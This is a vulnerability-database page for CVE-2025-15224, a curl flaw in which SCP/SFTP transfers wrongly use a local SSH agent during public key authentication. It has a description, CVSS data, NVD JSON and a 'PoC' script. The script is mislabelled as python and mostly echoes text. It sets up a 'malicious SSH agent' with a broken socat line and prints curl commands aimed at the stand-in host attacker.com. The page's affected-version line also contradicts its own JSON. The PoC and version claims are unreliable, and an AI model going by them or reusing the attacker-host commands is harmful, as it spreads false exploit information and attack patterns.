Security Vulnerability Report
中文
CVE-2025-15224 CVSS 3.1 LOW

CVE-2025-15224

Published: 2026-01-08 10:15:47
Last Modified: 2026-01-20 14:47:53
Source: 2499f714-1537-4658-8207-48ae4bb9eae9

Description

When doing SSH-based transfers using either SCP or SFTP, and asked to do public key authentication, curl would wrongly still ask and authenticate using a locally running SSH agent.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:* - VULNERABLE
curl < 8.9.1
libcurl < 8.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-15224 PoC - curl SCP/SFTP公钥认证错误使用SSH Agent # This PoC demonstrates the authentication bypass vulnerability # Setup malicious SSH Agent (attacker controlled) echo "[+] Setting up malicious SSH Agent..." rm -rf /tmp/malicious_agent_dir mkdir -p /tmp/malicious_agent_dir SSH_AUTH_SOCK=/tmp/malicious_agent_dir/socket socat -ls -T60 SYSTEM:"socat - UNIX-CONNECT:/tmp/real_agent.sock",nofork & sleep 1 # Generate attacker's SSH key pair (for demonstration) echo "[+] Generating attacker SSH keys..." ssh-keygen -t ed25519 -f /tmp/attacker_key -N "" -q # Target system simulation echo "[+] Simulating vulnerable curl behavior..." echo "VULNERABLE: curl would incorrectly use SSH Agent instead of specified key" echo "Expected: curl uses /path/to/user/key for authentication" echo "Actual: curl queries and uses local SSH Agent" # Demonstration commands echo "" echo "[+] Vulnerable curl command (SFTP):" echo "curl -v --key user_key --pubkey user_pubkey sftp://attacker.com/file" echo "" echo "[+] Vulnerable curl command (SCP):" echo "curl -v --key user_key scp://attacker.com/file" echo "" echo "[!] In vulnerable version, curl may use SSH Agent instead of --key" # Cleanup rm -f /tmp/attacker_key /tmp/attacker_key.pub # Reference: https://curl.se/docs/CVE-2025-15224.html

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15224", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-01-08T10:15:47.207", "lastModified": "2026-01-20T14:47:52.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When doing SSH-based transfers using either SCP or SFTP, and asked to do\npublic key authentication, curl would wrongly still ask and authenticate using\na locally running SSH agent."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.58.0", "versionEndExcluding": "8.18.0", "matchCriteriaId": "7FEF1B43-51CF-47FA-8D6C-2411D9B3F9C1"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2025-15224.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory", "Patch"]}, {"url": "https://curl.se/docs/CVE-2025-15224.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3480925", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Third Party Advisory", "Issue Tracking"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/07/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory", "Patch"]}]}}